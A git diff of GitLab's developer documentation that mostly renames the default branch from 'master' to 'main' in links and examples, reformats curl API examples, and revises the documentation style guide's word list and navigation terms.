--- a/doc/development/diffs.md
+++ b/doc/development/diffs.md
@@ -156,13 +156,13 @@ Historically, merge request diffs have been calculated by `git diff target...sou
`HEAD` of the source branch with the merge base (or a common ancestor) of the target branch and the source's.
This solution works well until the target branch starts containing some of the
changes introduced by the source branch: Consider the following case, in which the source branch
-is `feature_a` and the target is `master`:
+is `feature_a` and the target is `main`:
-1. Checkout a new branch `feature_a` from `master` and remove `file_a` and `file_b` in it.
-1. Add a commit that removes `file_a` to `master`.
+1. Checkout a new branch `feature_a` from `main` and remove `file_a` and `file_b` in it.
+1. Add a commit that removes `file_a` to `main`.
The merge request diff still contains the `file_a` removal while the actual diff compared to
-`master`'s `HEAD` has only the `file_b` removal. The diff with such redundant
+`main`'s `HEAD` has only the `file_b` removal. The diff with such redundant
changes is harder to review.
In order to display an up-to-date diff, in GitLab 12.9 we
@@ -174,16 +174,16 @@ diff.
Until we complete the epics ["use merge refs for diffs"](https://gitlab.com/groups/gitlab-org/-/epics/854)
and ["merge conflicts in diffs"](https://gitlab.com/groups/gitlab-org/-/epics/4893),
-both options `master (base)` and `master (HEAD)` are available to be displayed in merge requests:
+both options `main (base)` and `main (HEAD)` are available to be displayed in merge requests:
![Merge ref head options](img/merge_ref_head_options_v13_6.png)
-The `master (HEAD)` option is meant to replace `master (base)` in the future.
+The `main (HEAD)` option is meant to replace `main (base)` in the future.
In order to support comments for both options, diff note positions are stored for
-both `master (base)` and `master (HEAD)` versions ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198457) in 12.10).
-The position for `master (base)` version is stored in `Note#position` and
-`Note#original_position` columns, for `master (HEAD)` version `DiffNotePosition`
+both `main (base)` and `main (HEAD)` versions ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198457) in 12.10).
+The position for `main (base)` version is stored in `Note#position` and
+`Note#original_position` columns, for `main (HEAD)` version `DiffNotePosition`
has been introduced.
One of the key challenges to deal with when working on merge ref diffs are merge
diff --git a/doc/development/documentation/graphql_styleguide.md b/doc/development/documentation/graphql_styleguide.md
index d658794f7e0..5acc8bda6a6 100644
--- a/doc/development/documentation/graphql_styleguide.md
+++ b/doc/development/documentation/graphql_styleguide.md
@@ -78,7 +78,7 @@ You should include a link for your new document in the global navigation (the li
left side of the documentation website). To do so, open a second MR, against the
[GitLab documentation repository](https://gitlab.com/gitlab-org/gitlab-docs/).
-We store our global navigation in the [`default-nav.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/content/_data/default-nav.yaml) file, in the
+We store our global navigation in the [`navigation.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/content/_data/navigation.yaml) file, in the
`content/_data` subdirectory. You can find the GraphQL section under the
following line:
diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md
index 05aa003d89e..12a1912dd25 100644
--- a/doc/development/documentation/index.md
+++ b/doc/development/documentation/index.md
@@ -27,8 +27,8 @@ The source of the documentation exists within the codebase of each GitLab applic
| Project | Path |
| --- | --- |
-| [GitLab](https://gitlab.com/gitlab-org/gitlab/) | [`/doc`](https://gitlab.com/gitlab-org/gitlab/tree/master/doc) |
-| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/) | [`/docs`](https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs) |
+| [GitLab](https://gitlab.com/gitlab-org/gitlab/) | [`/doc`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc) |
+| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/) | [`/docs`](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/main/docs) |
| [Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab/) | [`/doc`](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc) |
| [Charts](https://gitlab.com/gitlab-org/charts/gitlab) | [`/doc`](https://gitlab.com/gitlab-org/charts/gitlab/tree/master/doc) |
@@ -156,7 +156,7 @@ Nanoc layout), which is displayed at the top of the page if defined:
- `reading_time`: If you want to add an indication of the approximate reading
time of a page, you can set `reading_time` to `true`. This uses a simple
- [algorithm](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/lib/helpers/reading_time.rb)
+ [algorithm](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/lib/helpers/reading_time.rb)
to calculate the reading time based on the number of words.
## Move or rename a page
@@ -177,8 +177,8 @@ There are two types of redirects:
- [GitLab Pages redirects](../../user/project/pages/redirects.md),
for users who view the docs on [`docs.gitlab.com`](https://docs.gitlab.com).
-The Technical Writing team manages the [process](https://gitlab.com/gitlab-org/technical-writing/-/blob/master/.gitlab/issue_templates/tw-monthly-tasks.md)
-to regularly update the [`redirects.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/content/_data/redirects.yaml)
+The Technical Writing team manages the [process](https://gitlab.com/gitlab-org/technical-writing/-/blob/main/.gitlab/issue_templates/tw-monthly-tasks.md)
+to regularly update the [`redirects.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/content/_data/redirects.yaml)
file.
To add a redirect:
@@ -229,6 +229,7 @@ To add a redirect:
```markdown
---
redirect_to: '../newpath/to/file/index.md'
+ remove_date: 'YYYY-MM-DD'
---
This document was moved to [another location](../path/to/file/index.md).
@@ -295,7 +296,7 @@ Before getting started, make sure you read the introductory section
"[contributing to docs](#contributing-to-docs)" above and the
[documentation workflow](workflow.md).
-- Use the current [merge request description template](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/merge_request_templates/Documentation.md)
+- Use the current [merge request description template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/Documentation.md)
- Label the MR `Documentation` (can only be done by people with `developer` access, for example, GitLab team members)
- Assign the correct milestone per note below (can only be done by people with `developer` access, for example, GitLab team members)
@@ -316,7 +317,8 @@ it increases the work of the release managers.
Every GitLab instance includes the documentation, which is available at `/help`
(`https://gitlab.example.com/help`). For example, <https://gitlab.com/help>.
-The documentation available online on <https://docs.gitlab.com> is deployed every four hours from the `master` branch of GitLab, Omnibus, and Runner. Therefore,
+The documentation available online on <https://docs.gitlab.com> is deployed every
+four hours from the `main` branch of GitLab, Omnibus, and Runner. Therefore,
after a merge request gets merged, it is available online on the same day.
However, it's shipped (and available on `/help`) within the milestone assigned
to the MR.
@@ -392,7 +394,7 @@ This is preferred over static paths, as the helper also works on instances insta
### GitLab `/help` tests
-Several [RSpec tests](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/features/help_pages_spec.rb)
+Several [RSpec tests](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/features/help_pages_spec.rb)
are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../README.md) works correctly from `/help`.
For example, [GitLab.com's `/help`](https://gitlab.com/help).
@@ -411,7 +413,7 @@ on how the left-side navigation menu is built and updated.
NOTE:
To preview your changes to documentation locally, follow this
-[development guide](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/README.md#development-when-contributing-to-gitlab-documentation) or [these instructions for GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/gitlab_docs.md).
+[development guide](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/README.md#development-when-contributing-to-gitlab-documentation) or [these instructions for GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/gitlab_docs.md).
The live preview is currently enabled for the following projects:
@@ -458,9 +460,9 @@ In case the review app URL returns 404, follow these steps to debug:
If you want to know the in-depth details, here's what's really happening:
1. You manually run the `review-docs-deploy` job in a merge request.
-1. The job runs the [`scripts/trigger-build`](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/trigger-build)
+1. The job runs the [`scripts/trigger-build`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/trigger-build)
script with the `docs deploy` flag, which triggers the "Triggered from `gitlab-org/gitlab` 'review-docs-deploy' job"
- pipeline trigger in the `gitlab-org/gitlab-docs` project for the `$DOCS_BRANCH` (defaults to `master`).
+ pipeline trigger in the `gitlab-org/gitlab-docs` project for the `$DOCS_BRANCH` (defaults to `main`).
1. The preview URL is shown both at the job output and in the merge request
widget. You also get the link to the remote pipeline.
1. In the `gitlab-org/gitlab-docs` project, the pipeline is created and it
@@ -477,7 +479,7 @@ The following GitLab features are used among others:
- [Multi project pipelines](../../ci/multi_project_pipelines.md)
- [Review Apps](../../ci/review_apps/index.md)
- [Artifacts](../../ci/yaml/README.md#artifacts)
-- [Specific runner](../../ci/runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects)
+- [Specific runner](../../ci/runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects)
- [Pipelines for merge requests](../../ci/merge_request_pipelines/index.md)
## Testing
@@ -491,7 +493,7 @@ GitLab uses [Danger](https://github.com/danger/danger) for some elements in
code review. For docs changes in merge requests, whenever a change to files under `/doc`
is made, Danger Bot leaves a comment with further instructions about the documentation
process. This is configured in the `Dangerfile` in the GitLab repository under
-[/danger/documentation/](https://gitlab.com/gitlab-org/gitlab/tree/master/danger/documentation).
+[/danger/documentation/](https://gitlab.com/gitlab-org/gitlab/-/tree/master/danger/documentation).
## Automatic screenshot generator
diff --git a/doc/development/documentation/restful_api_styleguide.md b/doc/development/documentation/restful_api_styleguide.md
index e05f6760ff1..b3d3e2641b7 100644
--- a/doc/development/documentation/restful_api_styleguide.md
+++ b/doc/development/documentation/restful_api_styleguide.md
@@ -33,7 +33,8 @@ In the Markdown doc for a resource (AKA endpoint):
## API topic template
-The following can be used as a template to get started:
+Use the following template to help you get started. Be sure to list any
+required attributes first in the table.
````markdown
## Descriptive title
@@ -50,8 +51,10 @@ Supported attributes:
| Attribute | Type | Required | Description |
|:------------|:---------|:---------|:----------------------|
-| `attribute` | datatype | yes/no | Detailed description. |
-| `attribute` | datatype | yes/no | Detailed description. |
+| `attribute` | datatype | **{check-circle}** Yes | Detailed description. |
+| `attribute` | datatype | **{dotted-circle}** No | Detailed description. |
+| `attribute` | datatype | **{dotted-circle}** No | Detailed description. |
+| `attribute` | datatype | **{dotted-circle}** No | Detailed description. |
Example request:
@@ -147,7 +150,8 @@ This example creates a new group. Be aware of the use of single (`'`) and double
(`"`) quotes.
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"path": "my-group", "name": "My group"}' "https://gitlab.example.com/api/v4/groups"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"path": "my-group", "name": "My group"}' "https://gitlab.example.com/api/v4/groups"
```
For readability, you can also set up the `--data` by using the following format:
@@ -169,7 +173,8 @@ Instead of using JSON or URL-encoding data, you can use `multipart/form-data` wh
properly handles data encoding:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "title=ssh-key" --form "key=ssh-rsa AAAAB3NzaC1yc2EA..." "https://gitlab.example.com/api/v4/users/25/keys"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "title=ssh-key" \
+ --form "key=ssh-rsa AAAAB3NzaC1yc2EA..." "https://gitlab.example.com/api/v4/users/25/keys"
```
The above example is run by and administrator and will add an SSH public key
@@ -195,5 +200,6 @@ exclude specific users when requesting a list of users for a project, you would
do something like this:
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "skip_users[]=<user_id>" --data "skip_users[]=<user_id>" "https://gitlab.example.com/api/v4/projects/<project_id>/users"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "skip_users[]=<user_id>" \
+ --data "skip_users[]=<user_id>" "https://gitlab.example.com/api/v4/projects/<project_id>/users"
```
diff --git a/doc/development/documentation/site_architecture/deployment_process.md b/doc/development/documentation/site_architecture/deployment_process.md
index d92f58e5501..1b764ada87b 100644
--- a/doc/development/documentation/site_architecture/deployment_process.md
+++ b/doc/development/documentation/site_architecture/deployment_process.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Documentation deployment process
-The [`dockerfiles` directory](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/)
+The [`dockerfiles` directory](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/)
contains all needed Dockerfiles to build and deploy <https://docs.gitlab.com>. It
is heavily inspired by Docker's
[Dockerfile](https://github.com/docker/docker.github.io/blob/06ed03db13895bfe867761b6fc2ad40acf6026dd/Dockerfile).
@@ -15,10 +15,10 @@ The following Dockerfiles are used.
| Dockerfile | Docker image | Description |
| ---------- | ------------ | ----------- |
-| [`Dockerfile.bootstrap`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/Dockerfile.bootstrap) | `gitlab-docs:bootstrap` | Contains all the dependencies that are needed to build the website. If the gems are updated and `Gemfile{,.lock}` changes, the image must be rebuilt. |
-| [`Dockerfile.builder.onbuild`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/Dockerfile.builder.onbuild) | `gitlab-docs:builder-onbuild` | Base image to build the docs website. It uses `ONBUILD` to perform all steps and depends on `gitlab-docs:bootstrap`. |
-| [`Dockerfile.nginx.onbuild`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/Dockerfile.nginx.onbuild) | `gitlab-docs:nginx-onbuild` | Base image to use for building documentation archives. It uses `ONBUILD` to perform all required steps to copy the archive, and relies upon its parent `Dockerfile.builder.onbuild` that is invoked when building single documentation archives (see the `Dockerfile` of each branch. |
-| [`Dockerfile.archives`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/Dockerfile.archives) | `gitlab-docs:archives` | Contains all the versions of the website in one archive. It copies all generated HTML files from every version in one location. |
+| [`Dockerfile.bootstrap`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/Dockerfile.bootstrap) | `gitlab-docs:bootstrap` | Contains all the dependencies that are needed to build the website. If the gems are updated and `Gemfile{,.lock}` changes, the image must be rebuilt. |
+| [`Dockerfile.builder.onbuild`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/Dockerfile.builder.onbuild) | `gitlab-docs:builder-onbuild` | Base image to build the docs website. It uses `ONBUILD` to perform all steps and depends on `gitlab-docs:bootstrap`. |
+| [`Dockerfile.nginx.onbuild`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/Dockerfile.nginx.onbuild) | `gitlab-docs:nginx-onbuild` | Base image to use for building documentation archives. It uses `ONBUILD` to perform all required steps to copy the archive, and relies upon its parent `Dockerfile.builder.onbuild` that is invoked when building single documentation archives (see the `Dockerfile` of each branch. |
+| [`Dockerfile.archives`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/Dockerfile.archives) | `gitlab-docs:archives` | Contains all the versions of the website in one archive. It copies all generated HTML files from every version in one location. |
## How to build the images
@@ -36,7 +36,7 @@ and tag all tooling images locally:
```
For each image, there's a manual job under the `images` stage in
-[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/.gitlab-ci.yml) which can be invoked at any time.
+[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/.gitlab-ci.yml) which can be invoked at any time.
## Update an old Docker image with new upstream docs content
@@ -55,10 +55,10 @@ The website keeps changing and being improved. In order to consolidate
those changes to the stable branches, we'd need to pick certain changes
from time to time.
-If this is not possible or there are many changes, merge master into them:
+If this is not possible or there are many changes, merge main into them:
```shell
git branch 12.0
-git fetch origin master
-git merge origin/master
+git fetch origin main
+git merge origin/main
```
diff --git a/doc/development/documentation/site_architecture/global_nav.md b/doc/development/documentation/site_architecture/global_nav.md
index 7175a9f1a5c..aeaf12e23d1 100644
--- a/doc/development/documentation/site_architecture/global_nav.md
+++ b/doc/development/documentation/site_architecture/global_nav.md
@@ -23,7 +23,7 @@ Global navigation (the left-most pane in our three pane documentation) provides:
## Adding new items
To add a topic to the global nav, edit
-[`navigation.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/navigation.yaml)
+[`navigation.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/content/_data/navigation.yaml)
and add your item.
All new pages need a new navigation item. Without a navigation, the page becomes "orphaned". That
@@ -109,7 +109,7 @@ the data among the nav in containers properly [styled](#css-classes).
### Data file
The data file describes the structure of the navigation for the applicable project.
-It is stored at <https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/navigation.yaml>
+It is stored at <https://gitlab.com/gitlab-org/gitlab-docs/blob/main/content/_data/navigation.yaml>
and comprises of three main components:
- Sections
@@ -267,19 +267,19 @@ Examples of relative URLs:
### Layout file (logic)
-The [layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/global_nav.html)
+The [layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/layouts/global_nav.html)
is fed by the [data file](#data-file), builds the global nav, and is rendered by the
-[default](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/default.html) layout.
+[default](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/layouts/default.html) layout.
The global nav contains links from all [four upstream projects](index.md#architecture).
The [global nav URL](#urls) has a different prefix depending on the documentation file you change.
-| Repository | Link prefix | Final URL |
-|----------------------------------------------------------------|-------------|-----------|
-| <https://gitlab.com/gitlab-org/gitlab/tree/master/doc> | `ee/` |`https://docs.gitlab.com/ee/` |
-| <https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc> | `omnibus/` |`https://docs.gitlab.com/omnibus/` |
-| <https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs> | `runner/` |`https://docs.gitlab.com/runner/` |
-| <https://gitlab.com/charts/gitlab/tree/master/doc> | `charts/` |`https://docs.gitlab.com/charts/` |
+| Repository | Link prefix | Final URL |
+|----------------------------------------------------------------|-------------|------------------------------------|
+| <https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc> | `ee/` | `https://docs.gitlab.com/ee/` |
+| <https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc> | `omnibus/` | `https://docs.gitlab.com/omnibus/` |
+| <https://gitlab.com/gitlab-org/gitlab-runner/-/tree/main/docs> | `runner/` | `https://docs.gitlab.com/runner/` |
+| <https://gitlab.com/charts/gitlab/tree/master/doc> | `charts/` | `https://docs.gitlab.com/charts/` |
### CSS classes
diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md
index 35e9ab5157b..d410d77a1a0 100644
--- a/doc/development/documentation/site_architecture/index.md
+++ b/doc/development/documentation/site_architecture/index.md
@@ -49,9 +49,9 @@ GitLab docs content isn't kept in the `gitlab-docs` repository.
All documentation files are hosted in the respective repository of each
product, and all together are pulled to generate the docs website:
-- [GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master/doc)
+- [GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc)
- [Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc)
-- [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs)
+- [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/main/docs)
- [GitLab Chart](https://gitlab.com/charts/gitlab/tree/master/doc)
NOTE:
@@ -114,7 +114,7 @@ located in the [Dockerfiles directory](https://gitlab.com/gitlab-org/gitlab-docs
If you need to rebuild the Docker images immediately (must have maintainer level permissions):
WARNING:
-If you change the Dockerfile configuration and rebuild the images, you can break the master
+If you change the Dockerfile configuration and rebuild the images, you can break the main
pipeline in the main `gitlab` repository as well as in `gitlab-docs`. Create an image with
a different name first and test it to ensure you do not break the pipelines.
@@ -132,7 +132,7 @@ a different name first and test it to ensure you do not break the pipelines.
### Deploy the docs site
Every four hours a scheduled pipeline builds and deploys the docs site. The pipeline
-fetches the current docs from the main project's master branch, builds it with Nanoc
+fetches the current docs from the main project's main branch, builds it with Nanoc
and deploys it to <https://docs.gitlab.com>.
If you need to build and deploy the site immediately (must have maintainer level permissions):
@@ -196,11 +196,11 @@ The links pointing to the files should be similar to:
```
Nanoc then builds and renders those links correctly according with what's
-defined in [`Rules`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/Rules).
+defined in [`Rules`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/Rules).
## Linking to source files
-A helper called [`edit_on_gitlab`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/lib/helpers/edit_on_gitlab.rb) can be used
+A helper called [`edit_on_gitlab`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/lib/helpers/edit_on_gitlab.rb) can be used
to link to a page's source file. We can link to both the simple editor and the
web IDE. Here's how you can use it in a Nanoc layout:
@@ -223,9 +223,9 @@ for its search function. This is how it works:
every 24h and [stores](https://community.algolia.com/docsearch/inside-the-engine.html)
the [DocSearch index](https://community.algolia.com/docsearch/how-do-we-build-an-index.html)
on [Algolia's servers](https://community.algolia.com/docsearch/faq.html#where-is-my-data-hosted%3F).
-1. On the docs side, we use a [DocSearch layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/docsearch.html) which
+1. On the docs side, we use a [DocSearch layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/layouts/docsearch.html) which
is present on pretty much every page except <https://docs.gitlab.com/search/>,
- which uses its [own layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/instantsearch.html). In those layouts,
+ which uses its [own layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/layouts/instantsearch.html). In those layouts,
there's a JavaScript snippet which initiates DocSearch by using an API key
and an index name (`gitlab`) that are needed for Algolia to show the results.
diff --git a/doc/development/documentation/site_architecture/release_process.md b/doc/development/documentation/site_architecture/release_process.md
index 9329b93bb26..46c74335932 100644
--- a/doc/development/documentation/site_architecture/release_process.md
+++ b/doc/development/documentation/site_architecture/release_process.md
@@ -1,5 +1,6 @@
---
redirect_to: 'https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#monthly-documentation-releases'
+remove_date: '2021-07-12'
---
This file was moved to [another location](https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#monthly-documentation-releases).
diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md
index 67bdbffa2a1..871fb26ce08 100644
--- a/doc/development/documentation/structure.md
+++ b/doc/development/documentation/structure.md
@@ -109,7 +109,7 @@ Create an issue when you want to track bugs or future work.
Prerequisites:
-- A minimum of Contributor access to a project in GitLab.
+- You must have at least the Developer role for a project.
To create an issue:
diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md
index 0ac393a8509..225db273cb6 100644
--- a/doc/development/documentation/styleguide/index.md
+++ b/doc/development/documentation/styleguide/index.md
@@ -15,12 +15,13 @@ use the `#docs-processes` channel.
In addition to this page, the following resources can help you craft and contribute to documentation:
- [Doc contribution guidelines](../index.md)
+- [A-Z word list](word_list.md)
- [Doc style and consistency testing](../testing.md)
- [UI text guidelines](https://design.gitlab.com/content/error-messages/)
- [GitLab Handbook style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines)
- [Microsoft Style Guide](https://docs.microsoft.com/en-us/style-guide/welcome/)
- [Google Developer Documentation Style Guide](https://developers.google.com/style)
-- [Recent updates to this guide](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=tw-style&not[label_name][]=docs%3A%3Afix)
+- [Recent updates to this guide](https://gitlab.com/dashboard/merge_requests?scope=all&state=merged&label_name[]=tw-style&not[label_name][]=docs%3A%3Afix)
## Documentation is the single source of truth (SSOT)
@@ -305,13 +306,6 @@ GitLab documentation should be clear and easy to understand.
- Write in US English with US grammar. (Tested in [`British.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/British.yml).)
- Use [inclusive language](#inclusive-language).
-### Trademark
-
-Only use the GitLab name and trademarks in accordance with
-[GitLab Brand Guidelines](https://about.gitlab.com/handbook/marketing/corporate-marketing/brand-activation/brand-guidelines/#trademark).
-
-Don't use the possessive form of the word GitLab (`GitLab's`).
-
### Capitalization
#### Headings
@@ -371,7 +365,7 @@ Capitalize names of:
- Methods or methodologies. For example, Continuous Integration,
Continuous Deployment, Scrum, and Agile.
-Follow the capitalization style listed at the [authoritative source](#links-to-external-documentation)
+Follow the capitalization style listed at the authoritative source
for the entity, which may use non-standard case styles. For example: GitLab and
npm.
@@ -499,39 +493,6 @@ You can use these fake tokens as examples:
| Health check token | `Tu7BgjR9qeZTEyRzGG2P` |
| Request profile token | `7VgpS4Ax5utVD2esNstz` |
-### Usage list
-<!-- vale off -->
-
-| Usage | Guidance |
-|-----------------------|----------|
-| above | Try to avoid extra words when referring to an example or table in a documentation page, but if required, use **previously** instead. |
-| admin, admin area | Use **administration**, **administrator**, **administer**, or **Admin Area** instead. ([Vale](../testing.md#vale) rule: [`Admin.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Admin.yml)) |
-| allow, enable | Try to avoid, unless you are talking about security-related features. For example, instead of "This feature allows you to create a pipeline," use "Use this feature to create a pipeline." This phrasing is more active and is from the user perspective, rather than the person who implemented the feature. [View details](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/a/allow-allows). |
-| and/or | Use **or** instead, or another sensible construction. |
-| below | Try to avoid extra words when referring to an example or table in a documentation page, but if required, use **following** instead. |
-| currently | Do not use when talking about the product or its features. The documentation describes the product as it is today. ([Vale](../testing.md#vale) rule: [`CurrentStatus.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/CurrentStatus.yml)) |
-| easily | Do not use. If the user doesn't find the process to be these things, we lose their trust. |
-| e.g. | Do not use Latin abbreviations. Use **for example**, **such as**, **for instance**, or **like** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) |
-| future tense | When possible, use present tense instead. For example, use `after you execute this command, GitLab displays the result` instead of `after you execute this command, GitLab will display the result`. ([Vale](../testing.md#vale) rule: [`FutureTense.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FutureTense.yml)) |
-| handy | Do not use. If the user doesn't find the process to be these things, we lose their trust. |
-| high availability, HA | Do not use. Instead, direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) for information about configuring GitLab for handling greater amounts of users. |
-| I | Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) |
-| i.e. | Do not use Latin abbreviations. Use **that is** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) |
-| jargon | Do not use. Define the term or [link to a definition](#links-to-external-documentation). |
-| may, might | **Might** means something has the probability of occurring. **May** gives permission to do something. Consider **can** instead of **may**. |
-| me, myself, mine | Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) |
-| please | Do not use. For details, see the [Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/p/please). |
-| profanity | Do not use. Doing so may negatively affect other users and contributors, which is contrary to the GitLab value of [Diversity, Inclusion, and Belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion). |
-| scalability | Do not use when talking about increasing GitLab performance for additional users. The words scale or scaling are sometimes acceptable, but references to increasing GitLab performance for additional users should direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) page. |
-| simply | Do not use. If the user doesn't find the process to be these things, we lose their trust. |
-| slashes | Instead of **and/or**, use **or** or another sensible construction. This rule also applies to other slashes, like **follow/unfollow**. Some exceptions (like **CI/CD**) are allowed. |
-| subgroup | Use instead of `sub-group`. |
-| that | Do not use. Example: `the file that you save` can be `the file you save`. |
-| useful | Do not use. If the user doesn't find the process to be these things, we lose their trust. |
-| utilize | Do not use. Use **use** instead. It's more succinct and easier for non-native English speakers to understand. |
-| via | Do not use Latin abbreviations. Use **with**, **through**, or **by using** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) |
-
-<!-- vale on -->
### Contractions
Contractions are encouraged, and can create a friendly and informal tone,
@@ -540,7 +501,7 @@ especially in tutorials, instructional documentation, and
Some contractions, however, should be avoided:
-- Do not use [the word GitLab in a contraction](#trademark).
+- Do not use the word "GitLab" in a contraction.
- Do not use contractions with a proper noun and a verb. For example:
@@ -1108,36 +1069,42 @@ document to ensure it links to the most recent version of the file.
## Navigation
-When documenting navigation through the user interface:
-
-- Use the exact wording as shown in the UI, including any capital letters as-is.
-- Use bold text for navigation items.
+When documenting navigation through the user interface, use these terms and styles.
### What to call the menus
Use these terms when referring to the main GitLab user interface
elements:
-- **Top menu**: This is the top menu that spans the width of the user interface.
- It includes the GitLab logo, search field, counters, and the user's avatar.
+- **Top bar**: This is the top bar that spans the width of the user interface.
+ It includes the menu, the GitLab logo, search field, counters, and the user's avatar.
- **Left sidebar**: This is the navigation sidebar on the left of the user
interface, specific to the project or group.
- **Right sidebar**: This is the navigation sidebar on the right of the user
interface, specific to the open issue, merge request, or epic.
-### How to document the left sidebar
+### How to document the menus
-To be consistent, use this format when you refer to the left sidebar.
+To be consistent, use this format when you write about UI navigation.
-- Go to your project and select **Settings > CI/CD**.
-- Go to your group and select **Settings > CI/CD**.
